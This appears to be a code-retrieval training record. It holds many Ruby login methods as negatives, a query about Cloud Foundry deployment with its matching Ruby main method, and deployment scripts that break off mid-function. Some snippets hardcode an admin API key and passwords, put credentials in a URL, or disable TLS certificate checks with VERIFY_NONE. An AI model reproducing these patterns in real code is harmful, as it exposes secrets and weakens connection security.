"def login(params = {})\n begin\n params.merge!(common_params)\n document = MagentoApiWrapper::Requests::Login.new(params)\n request = MagentoApiWrapper::Request.new(magento_url: params[:magento_url], call_name: :login)\n request.body = document.body\n login = MagentoApiWrapper::Login.new(request.connect!)\n @session_id = login.key\n login.key\n rescue MagentoApiWrapper::AuthenticationError => e\n raise e\n end\n end",
"def login\n make_login_call\n end",
"def login\n client.login(\n params[:user],\n params[:password],\n authParams: {\n scope: 'openid name email'\n },\n connection: 'Username-Password-Authentication'\n )\n end",
"def login(satellite_url, satellite_login, satellite_password)\n t = 0\n @client = XMLRPC::Client.new2(satellite_url)\n begin\n @key = @client.call('auth.login', satellite_login, satellite_password, timeout=480)\n rescue EOFError, TimeoutError, RuntimeError => ex\n t += 1\n if t > 3 # Give up after 3 attempts\n puts 'Too many attempts to authenticate. Exiting.'\n exit\n end\n puts \"#{ex.class}, retrying authentication...\"\n retry\n rescue XMLRPC::FaultException\n puts 'Login failed, invalid credentials.'\n exit\n end\nend",
"def sign_in(username, password, api_key, platform)\n session.username = username\n session.password = password\n session.api_key = api_key\n session.platform = platform\n\n session.sign_in\n end",
"def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork System Administrator']['password']}&un=#{@mapCredentials['Staging']['WeWork System Administrator']['username']}\"\n switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end",
"def box_login(box_api_key, session)\n # make a new Account object using the API key\n account = Box::Account.new(box_api_key)\n\n # use a saved ticket or request a new one\n ticket = session[:box_ticket] || account.ticket\n token = session[:box_token]\n\n # try to authorize the account using the ticket and/or token\n authed = account.authorize(:ticket => ticket, :auth_token => token) do |auth_url|\n # this block is called if the authorization failed\n\n # save the ticket we used for later\n session[:box_ticket] = ticket\n\n # yield with the url the user must visit to authenticate\n yield auth_url if block_given?\n end\n\n if authed\n # authentication was successful, save the token for later\n session[:box_token] = account.auth_token\n\n # return the account\n return account\n end\n end",
"def login_to_lfcom(username, password)\r\n visit LFSOAP::CONST_LF_LOGIN_URL\r\n fill_in 'atg_loginEmail', with: username\r\n fill_in 'atg_loginPassword', with: password\r\n click_button 'Log In'\r\n end",
"def authenticate(email, api)\nuri = URI('https://device.pcloudy.com/api/access')\n\nNet::HTTP.start(uri.host, uri.port,\n :use_ssl => uri.scheme == 'https', \n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n request = Net::HTTP::Get.new uri.request_uri\n request.basic_auth email,api\n response = http.request request # Net::HTTPResponse object\n #puts response\n #puts response.body\n authresponce = JSON.parse(response.body)\n token = authresponce[\"result\"][\"token\"]\n puts token\n return token\nend \nend",
"def login(username, password)\n resp = post(data['hosts']['auth'] + '/login', {\n headers: {\n 'Content-Type' => 'application/json'\n },\n body: {\n username: username,\n password: password\n }\n }).expect {\n assert(code == 200)\n assert(body.is_a? Hash)\n assert(body.length > 0)\n assert(body.key?('token'))\n }\n\n # add this authorization header to all future requests\n add_header(:Authorization, \"Bearer #{resp.body['token']}\")\n resp\nend",
"def login\n # puts \"UserNAme #{username}.\"\n self.login_username_element.when_present(30)\n # expect(self.login_username?).to be_truthy\n self.login_username= DT['ENV']['Username']\n self.login_password= DT['ENV']['Password']\n self.login_login\n end",
"def login_test\n \tauth_params = {\n login: 'guest',\n password: 'connecpath',\n school: {admin_api_key: \"e85e87600d707233c96d69080dd949abbb6892e7a4ac9d452f6c58a2799f9f99\",\n \t\tadmin_username: \"shaunakdas2020\", code: \"global\"}\n }\n resp= JSON.parse(post_call('/user/login', (auth_params)).body)\n\n if resp.has_key?('global') && \n \tresp['global'].has_key?('api_key') && \n \tresp['global']['api_key'].has_key?('user') && \n \tresp['global']['api_key']['user'].has_key?('username')\n \tputs \"#Test Result: Success. Username in response:\" + resp['global']['api_key']['user']['username']\n else\n \tputs \"#Test Result: Failure. Response:\" + resp\n end\n end",
"def login(username, password)\n logout\n rest_client = ::Syncano.client(api_key: api_key)\n self.auth_key = rest_client.users.login(username, password)\n !self.auth_key.nil?\n end",
"def init_server(space_server_url, user, pwd)\n page = @agent.get(\"https://#{space_server_url}/rhn/Login.do\")\n login = page.form('loginForm')\n login.username = user\n login.password = pwd\n button = login.button_with(:value => \"Sign In\")\n page = @agent.submit(login, button)\nend",
"def login\n uri = URI('https://www.google.com/accounts/ClientLogin')\n\n q = { 'service' => 'sj',\n 'account_type' => 'GOOGLE',\n 'source' => 'ruby-skyjam-%s' % SkyJam::VERSION,\n 'Email' => @account,\n 'Passwd' => @password }\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data(q)\n res = http.request(req)\n\n unless res.is_a? Net::HTTPSuccess\n fail Error, 'login failed: #{res.code}'\n end\n\n tokens = Hash[*res.body\n .split(\"\\n\")\n .map { |r| r.split('=', 2) }\n .flatten]\n @sid = tokens['SID']\n @auth = tokens['Auth']\n end",
"def login\n @rest.headers[:content_type] = \"application/json\"\n\n response = api_request { @rest[\"login\"].post({:username => @username, :password => @password}) }\n\n @rest.headers[:x_opsview_token] = response[:token]\n @rest.headers[:x_opsview_username] = @username\n\n response\n end",
"def login; end",
"def authenticate_knox_api_key!\n authenticate_for ApiKey\n end",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend",
"def login\n if params[:un].nil? || params[:pw].nil? || params[:server_url].nil?\n TextMate::UI.alert(:warning, \"MavensMate\", \"Please provide Salesforce.com credentials before selecting metadata\")\n abort\n end\n \n begin\n TextMate.call_with_progress( :title => \"MavensMate\", :message => \"Validating Salesforce.com Credentials\" ) do\n self.client = MavensMate::Client.new({ :username => params[:un], :password => params[:pw], :endpoint => params[:server_url] })\n end\n #$stdout.flush\n #flush\n if ! self.client.sid.nil? && ! self.client.metadata_server_url.nil?\n puts \"<input type='hidden' value='#{self.client.sid}' id='sid'/>\"\n puts \"<input type='hidden' value='#{self.client.metadata_server_url}' id='murl'/>\"\n end\n rescue Exception => e\n TextMate::UI.alert(:warning, \"MavensMate\", e.message)\n return\n end\n end",
"def login\n validate_arguments!\n\n Turbot::Auth.login\n display \"Authentication successful.\"\n end",
"def login\n flickr.access_token = ENV['FLICKR_ACCESS_TOKEN']\n flickr.access_secret = ENV['FLICKR_ACCESS_SECRET']\n\n begin\n flickr.test.login\n rescue Exception => e\n raise \"Unable to authenticate with Flickr API.\"\n end\n end",
"def login\n \n username = @params['username-cfrm'] || ''\n password = @params['password-cfrm'] || ''\n config = BeEF::Core::Configuration.instance\n @headers['Content-Type']='application/json; charset=UTF-8'\n ua_ip = @request.ip # get client ip address\n @body = '{ success : false }' # attempt to fail closed\n \n # check if source IP address is permited to authenticate\n if not permited_source?(ua_ip)\n BeEF::Core::Logger.instance.register('Authentication', \"IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.\")\n return\n end\n\n # check if under brute force attack \n time = Time.new\n if not timeout?(time)\n @session.set_auth_timestamp(time)\n return\n end\n \n # check username and password\n if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )\n BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{@request.ip} has failed to authenticate in the application.\")\n return\n end\n \n # establish an authenticated session\n\n # set up session and set it logged in\n @session.set_logged_in(ua_ip) \n \n # create session cookie \n session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name\n Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => \"/\", :httponly => true})\n \n BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{@request.ip} has successfuly authenticated in the application.\")\n @body = \"{ success : true }\"\n end",
"def login\n end",
"def get_creds \n yml = YAML::load(File.open(ENV['TM_PROJECT_DIRECTORY'] + \"/config/settings.yaml\"))\n project_name = yml['project_name']\n username = yml['username']\n environment = yml['environment']\n password = KeyChain::find_internet_password(\"#{project_name}-mm\")\n endpoint = environment == \"sandbox\" ? \"https://test.salesforce.com/services/Soap/u/#{MM_API_VERSION}\" : \"https://www.salesforce.com/services/Soap/u/#{MM_API_VERSION}\"\n return { :username => username, :password => password, :endpoint => endpoint }\n end",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def rackspace_username\n Fog.credentials[:rackspace_username] || get_user_input(\"Enter Rackspace Username\")\nend",
"def login(username, api_token)\n raise \"You are already logged in\" if @connection.logged_in?\n\n @connection.username ||= username\n @connection.api_token ||= api_token\n\n connection.post '/login', { \n :username => @connection.username, :api_token => @connection.api_token\n }\n end",
"def login\n return @token if @token or @auth_method == :api_key\n request = Request.new(\"Post\", \"#{@config[:base_url]}/user/login\")\n\n request.add_multipart_body ({\n name: @config[:username],\n pass: @config[:password],\n form_id: \"user_login\",\n op: \"Log in\",\n })\n\n response = request.perform\n @token = response['Set-Cookie'].split(\";\")[0] if response and response['Set-Cookie']\n @token\n end",
"def _login(username, password)\n begin\n return set_error_object({message: @configuration.not_initialized_message}) if not_initialized?\n url = \"#{base_uri}/#{@configuration.users_path}/login.#{@configuration.api_request_format}\"\n response = post url, body: {user: username, password: Digest::MD5.hexdigest(password)}\n JSON.parse (response.body && !response.body.empty?) ? response.body : set_error_object #returns the complete object\n rescue => e\n puts e.to_s #debug the error\n end\n end",
"def client\n @client ||= CFoundry::Client.new(@target.to_s).tap do |c|\n c.login(@username, @password)\n end\n end",
"def salesforcelogin\n @driver.get \"https://wework--staging.cs96.my.salesforce.com/\"\n @driver.find_element(:id, \"username\").clear\n @driver.find_element(:id, \"username\").send_keys @mapCredentials['Staging']['WeWork System Administrator']['username']\n @driver.find_element(:id, \"password\").clear\n @driver.find_element(:id, \"password\").send_keys @mapCredentials['Staging']['WeWork System Administrator']['password']\n @driver.find_element(:id, \"Login\").click\n puts \"Login sucessfully \\n\"\n\n @wait.until{@driver.find_element(:id ,\"tsidLabel\").displayed? }\n portfolio= @helper.getSalesforceRecord('Building__c',\"select Market__r.Name, Market__c, Id, Name, Address__c from Building__c where Name= '#{@testDataJSON['Opportunity'][0]['building']}'\")\n port = portfolio[0].fetch(\"Market__r.Name\")\n puts port\n result1= @helper.getSalesforceRecord('Account_Queue__c',\"SELECT Member__c from Account_Queue__c where Account_Record_Type__c= 'Enterprise Solutions' AND Market__c='#{port}'\")\n puts result1.class\n end",
"def login()\n begin\n $platform.authorize( jwt: \"SANDBOX_JWT\" )\n detect_sms_feature()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend",
"def perform_login_on_codeporting\r\n\t\r\n\tputs \"Sending login call\"\r\n\t#WORKING\r\n\turi = URI.parse(\"https://apps.codeporting.com\")\r\n\thttp = Net::HTTP.new(uri.host, uri.port)\r\n\thttp.use_ssl = true\r\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\tpath = '/csharp2java/v0/UserSignin'\r\n\tdata = \"LoginName=#{$username}&Password=#{$password}\"\r\n\theaders = {\r\n\t\t'Content-Type' => 'application/x-www-form-urlencoded'\r\n\t}\r\n\tresp, data = http.post(path, data, headers)\r\n\r\n\tdoc = REXML::Document.new(data)\r\n\r\n\tretValue = \"\"\r\n\tdoc.each_element('//return') { |item| \r\n\t\tretValue = item.attributes['success']\r\n\t}\r\n\r\n\t$token = ''\r\n\tif (retValue == \"True\")\r\n\t\tdoc.each_element('//Token') { |item| \r\n\t\t$token = item.text\r\n\t\tputs $token\r\n\t\tupload_code_to_codeporting\r\n\t}\r\n\tend\r\n end",
"def get_api_creds\n\t\t#account = Account.first\n\t\tp 1111111111111\n\t\tRails.logger.info \"get api details\"\n\t\tRails.logger.debug \"#{params}\"\n\t\taccount = Account.find_by(:domain_name => params[\"domain_name\"])\n\t\t@api_domain = account.try(:api_domain)\n\t\t@api_key = account.try(:api_key)\n\tend",
"def login()\n begin\n $platform.authorize(jwt: ENV['RC_JWT'])\n read_extension_phone_number_detect_sms_feature()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend",
"def login\n\n end",
"def login\n\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def connect\n configuration = VSphereAutomation::Configuration.new.tap do |c|\n c.host = config[:vcenter_host]\n c.username = config[:vcenter_username]\n c.password = config[:vcenter_password]\n c.scheme = \"https\"\n c.verify_ssl = config[:vcenter_disable_ssl_verify] ? false : true\n c.verify_ssl_host = config[:vcenter_disable_ssl_verify] ? false : true\n end\n\n @api_client = VSphereAutomation::ApiClient.new(configuration)\n api_client.default_headers[\"Authorization\"] = configuration.basic_auth_token\n\n session_api = VSphereAutomation::CIS::SessionApi.new(api_client)\n session_id = session_api.create(\"\").value\n\n api_client.default_headers[\"vmware-api-session-id\"] = session_id\n end",
"def api_login\n creator = Creator.find_by(name: request.headers['name'])\n if creator && creator.authenticate(request.headers['password'])\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n selected_format({ error: 'Invalid username or password' },:unauthorized)\n end\n end",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def login_account(username, password)\n login_form.email_txt.set username\n login_form.password_txt.set password\n login_form.login_btn.click\n end",
"def login\n username.set 'tomsmith'\n password.set 'SuperSecretPassword!'\n end",
"def login_by_token\n\n end",
"def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end"
] |
[
"0.7438451",
"0.72109944",
"0.6575673",
"0.6426859",
"0.6385089",
"0.6383221",
"0.634048",
"0.63353336",
"0.62812245",
"0.62636894",
"0.6215292",
"0.6185221",
"0.6139858",
"0.6134139",
"0.6127644",
"0.61175114",
"0.6103368",
"0.60997164",
"0.60919964",
"0.6089481",
"0.6076203",
"0.6073524",
"0.6065897",
"0.6050585",
"0.60415107",
"0.60357285",
"0.6023283",
"0.6020064",
"0.6008269",
"0.6003097",
"0.5987799",
"0.5985065",
"0.5981914",
"0.59807354",
"0.5978479",
"0.5964723",
"0.59557796",
"0.5939576",
"0.59332573",
"0.59281653",
"0.5924316",
"0.5921751",
"0.59058315",
"0.58887064",
"0.5888437",
"0.588459",
"0.58648974",
"0.5852868",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.58457696",
"0.5838034",
"0.5833499",
"0.58323795",
"0.58270717",
"0.58239084",
"0.5800042",
"0.57950187",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.5792125",
"0.579011",
"0.57899797",
"0.5782355",
"0.57821375",
"0.577775",
"0.57754946",
"0.5765331",
"0.5763186",
"0.5760086",
"0.57598615",
"0.57598615",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.5758936",
"0.57412183",
"0.5740023",
"0.57320654",
"0.57280785",
"0.5727632",
"0.5727619",
"0.57271934"
] |
0.6794371
|
2
|
This is the main method for the automation of application deployment in cloud foundry.
|
def main()
@home_directory="/home/ubuntu"
@curl_path ="/usr/bin"
@curl_command = "curl"
@dummy_directory="/opt/cloudfoundry/dummy"
@project = "redis"
@zip_path = "/opt/cloudfoundry/gitzip/#{@project}"
@project_directory = "/opt/cloudfoundry/project"
@git_url ="https://github.com/pivotal-cf/cf-redis-example-app/archive/master.zip"
get_api_url()
get_access_token()
print "Enter the Organization name:".yellow
@organization_name = gets.chomp
print "Enter the Space name:".yellow
@space_name = gets.chomp
endpoint = Endpoint.new(@curl_command,@curl_path,@api_url,@access_token)
endpoint.main(@organization_name,@space_name)
space_hash = endpoint.space_hash # since it is needed in service class for checking the service in market place for a particular space.
cf_login()
print "Enter the application name:".yellow
@application_name = gets.chomp
application = Application.new(@curl_command,@curl_path,@application_name,@access_token,@api_url,@zip_path,@project_directory,@git_url)
application.delete_orphan_route()
application.check_for_app(@application_name)
service = Service.new(@curl_command,@curl_path,@organization_name,@space_name,@api_url,@access_token,space_hash)
service.main()
@service_instance_name = service.service_instance
bind = Bind.new
bind.binding_service_to_app(@application_name,@service_instance_name)
start_obj = Start.new
start_obj.start(@application_name)
check = Check.new(@api_url,@curl_command,@curl_path,@dummy_directory,@application_name)
check.push_data()
check.get_data()
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deploy_application\n deploy(selfdir + \"app\")\n end",
"def deploy_to_cloud(project_config: {}, cloud_config: {}, local_image_name: '')\n puts \"#{__method__.to_s} enter\"\n\n cloud_info = push_container_image_to_cloud(\n cloud_config: cloud_config,\n local_image_name: local_image_name,\n )\n\n\n kubernetes(\n uber_name: project_config.name,\n keys: project_config.keys,\n remote_image_uri: cloud_info.remote_registry_image_uri\n )\n\n puts \"#{__method__.to_s} exit\"\nend",
"def generate()\n app_yaml = <<CONFIG\napplication: #{@app_name}\nversion: 1\nruntime: python27\napi_version: 1\nthreadsafe: true\n\nhandlers:\n- url: /.*\n script: #{@app_name}.application\nCONFIG\n\n script = <<SCRIPT\nimport webapp2\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n self.response.out.write('<html><body>')\n self.response.out.write(\"\"\"<p>Your application failed to start</p>\"\"\")\n self.response.out.write(\"\"\"<p>#{@error_msg}</p>\"\"\")\n self.response.out.write(\"\"\"<p>If this is an AppScale issue please report it on <a href=\"https://github.com/AppScale/appscale/issues\">http://github.com/AppScale/appscale/issues</a></p>\"\"\")\n self.response.out.write('</body></html>')\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage),\n], debug=True)\n\nSCRIPT\n\n HelperFunctions.write_file(\"#{@dir_path}app.yaml\", app_yaml)\n HelperFunctions.write_file(\"#{@dir_path}#{@app_name}.py\", script)\n\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} app.yaml #{@app_name}.py\")\n end\n\n return true\n end",
"def generate_python()\n app_yaml = <<CONFIG\napplication: #{@app_name}\nversion: 1\nruntime: python27\napi_version: 1\nthreadsafe: true\n\nhandlers:\n- url: /.*\n script: #{@app_name}.application\nCONFIG\n\n script = <<SCRIPT\nimport webapp2\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n self.response.out.write('<html><body>')\n self.response.out.write(\"\"\"<p>Your application failed to start</p>\"\"\")\n self.response.out.write(\"\"\"<p>#{@error_msg}</p>\"\"\")\n self.response.out.write(\"\"\"<p>If this is an AppScale issue please report it on <a href=\"https://github.com/AppScale/appscale/issues\">http://github.com/AppScale/appscale/issues</a></p>\"\"\")\n self.response.out.write('</body></html>')\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage),\n], debug=True)\n\nSCRIPT\n\n HelperFunctions.write_file(\"#{@dir_path}app.yaml\", app_yaml)\n HelperFunctions.write_file(\"#{@dir_path}#{@app_name}.py\", script)\n\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} app.yaml #{@app_name}.py\")\n end\n\n return true\n end",
"def deploy\n unless serverside_version\n # only set serverside version if it's not set, to imitate the api\n # behavior of choosing its own serverside version if one is not\n # sent\n update :serverside_version => AWSM_SERVERSIDE_VERSION\n end\n finished!(\n :successful => true,\n :output => 'Deployment triggered by the API'\n )\n end",
"def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end",
"def deploy_organization\n name, app_url = configure_heroku\n log_url = \"https://dashboard.heroku.com/apps/#{name}/logs\"\n success_box(\"Your app #{name} is now deployed at #{app_url}! If you encounter any issues, check the logs at #{log_url}.\")\n dns_target = get_heroku_dns_target(name, app_url)\n unless dns_target.nil?\n box(\"NOTE: Since you configured a custom host URL (#{app_url}), you must set your URL's DNS settings to point to #{dns_target} before using the app if you haven't already. You can find more info #{TTY::Link.link_to(\"here.\", \"http://url.perlmutterapp.com/custom-url\")}\")\n end\nend",
"def deploy\n update_repositories\n sync_service_environment_files\n # deploy_services\n response\n end",
"def deploy_heroku(name, app_url)\n deploy_loader = loader(\"Deploying and running installation of app...\", nil)\n branch_name = \"#{name}#{Time.now.strftime(\"%d-%m-%Y-%H-%M\")}\"\n url = get_stripped_url(app_url, false)\n stripped_url = get_stripped_url(app_url, true)\n @cmd.run(\"rm -rf .git\")\n @cmd.run(\"git init\")\n @cmd.run(\"heroku git:remote -a #{name}\")\n @cmd.run(\"heroku config:set SECRET_KEY_BASE=$(rake secret)\") rescue TTY::Command::ExitError\n @cmd.run(\"heroku config:set APP_URL=#{url}\") rescue TTY::Command::ExitError\n @cmd.run(\"heroku config:set APP_STRIPPED_URL=#{stripped_url}\") rescue TTY::Command::ExitError\n unless @cmd.run(\"heroku addons\").out.include? \"heroku-redis\"\n begin\n @cmd.run(\"heroku addons:create heroku-redis:hobby-dev\")\n rescue TTY::Command::ExitError\n error_box(\"App #{name} failed. Please ensure that you are on the Hobby Dev payment tier or above.\")\n raise ArgumentError\n end\n end\n unless @cmd.run(\"heroku domains -a #{name}\").out.include? stripped_url\n begin\n @cmd.run(\"heroku domains:add #{stripped_url} -a #{name}\")\n rescue TTY::Command::ExitError\n error_box(\"Setting custom URL #{stripped_url} failed.\")\n raise ArgumentError\n end\n end\n unless @cmd.run(\"heroku buildpacks -a #{name}\").out.include? \"apt\"\n begin\n @cmd.run(\"heroku buildpacks:add --index 1 https://github.com/heroku/heroku-buildpack-apt.git -a #{name}\")\n @cmd.run(\"heroku buildpacks:add --index 2 heroku/ruby -a #{name}\")\n @cmd.run(\"heroku config:set GI_TYPELIB_PATH=/app/.apt/usr/lib/x86_64-linux-gnu/girepository-1.0\") rescue TTY::Command::ExitError\n rescue TTY::Command::ExitError\n error_box(\"Setting buildpacks failed.\")\n raise ArgumentError\n end\n end\n\n @cmd.run(\"git config --global core.autocrlf true\")\n @cmd.run(\"git checkout -b #{branch_name}\")\n @cmd.run(\"git add .\")\n @cmd.run(\"git add -f config\")\n @cmd.run(\"git commit -m '#{name}'\")\n @cmd.run(\"git push -f heroku #{branch_name}:main\")\n deploy_loader.stop\n stripped_url\nend",
"def do_deploy()\n require 'digest/md5'\n require 'aws-sdk'\n require 'progressbar'\n require 'simple-cloudfront-invalidator'\n require 'yaml'\n\n # Validation check for environment variables\n if (!ENV['AWS_S3_BUCKET'] ||\n !ENV['AWS_ACCESS_KEY_ID'] ||\n !ENV['AWS_SECRET_ACCESS_KEY'] ||\n !ENV['AWS_CLOUDFRONT_DIST_ID'] ||\n !ENV['AWS_HOST_NAME'] )\n puts(\"The below required environment variable(s) have not been defined.\\n\"\\\n \"Without them, the Deploy process cannot complete.\\n\"\\\n \"Please verify that they have been correctly defined.\")\n puts(\" * AWS_S3_BUCKET\") if (!ENV['AWS_S3_BUCKET'])\n puts(\" * AWS_ACCESS_KEY_ID\") if (!ENV['AWS_ACCESS_KEY_ID'])\n puts(\" * AWS_SECRET_ACCESS_KEY\") if (!ENV['AWS_SECRET_ACCESS_KEY'])\n puts(\" * AWS_CLOUDFRONT_DIST_ID\") if (!ENV['AWS_CLOUDFRONT_DIST_ID'])\n puts(\" * AWS_HOST_NAME\") if (!ENV['AWS_HOST_NAME'])\n exit()\n end\n\n puts(\"========================================\")\n puts(\"Beginning Deploy Process...\")\n\n # Capture Hugo's config.yaml while we're in the same directory\n config_file = YAML.load_file('config.yaml')\n\n # Make sure we actually loaded a file, and didn't just set `config_file` to\n # the string \"config.yaml\".\n if (config_file == \"config.yaml\")\n Kernel.abort(\"ERROR: Could not find 'config.yaml'. Are you running Rake \"\\\n \"from the correct directory?\")\n end\n\n # Move into the Hugo destination directory, so file names are only prefixed\n # with \"./\"\n Dir.chdir(File.join(Dir.pwd, \"#{$hugo_dest}\"))\n\n # Generate a list of every file in $hugo_dest, and `map` them into the form,\n # [[\"«file_name»\", \"«md5sum»\"], ... ]\n puts(\" Aggregating Local Hash List...\")\n local_file_list = Dir[\"./**/*\"]\n .select { |f| File.file?(f) }\n .sort_by { |f| f }\n .map { |f|\n # The file names have a leading `./`. Strip those.\n [f[2..-1], Digest::MD5.file(f).hexdigest] }\n\n\n # Open up a connection to our S3 target bucket\n puts(\" Opening S3 Connection...\")\n aws_bucket = Aws::S3::Bucket.new(ENV['AWS_S3_BUCKET'], {\n :region => \"us-east-1\",\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY'],\n })\n\n # Fetch all objects from the remote, and `map` them into the form,\n # [[\"«file_name»\", \"«md5sum»\"], ... ]\n puts(\" Fetching Remote Object List (this may take up to ~30 seconds)...\")\n aws_file_list = aws_bucket\n .objects()\n .sort_by { |objs| objs.key }\n .map { |objs|\n # the etag (which is the md5sum) is wrapped in double-quotes. Strip those\n # by 'translating' them into empty strings.\n [objs.key, objs.etag.tr('\"','')] }\n\n\n # Now that we have the two lists, we need to compare them and generate the\n # list of files we need to upload, and the list of files we need to delete.\n # To do this, we're going to use some brute force.\n puts(\" Comparing Object Hashes...\")\n new_list = []\n updated_list = []\n delete_list = []\n lcl_i = 0\n aws_i = 0\n lcl_len = local_file_list.length\n aws_len = aws_file_list.length\n progress = ProgressBar.new(\" Hash check\", lcl_len)\n while true\n # Check if we've reached the end of either list and should break\n break if (lcl_i == lcl_len || aws_i == aws_len)\n lcl_file_name = local_file_list[lcl_i][0]\n aws_file_name = aws_file_list[aws_i][0]\n\n # Compare the file/object names\n case lcl_file_name <=> aws_file_name\n when 0 # File names are identical\n # Compare md5sums. If they don't match, add the file to 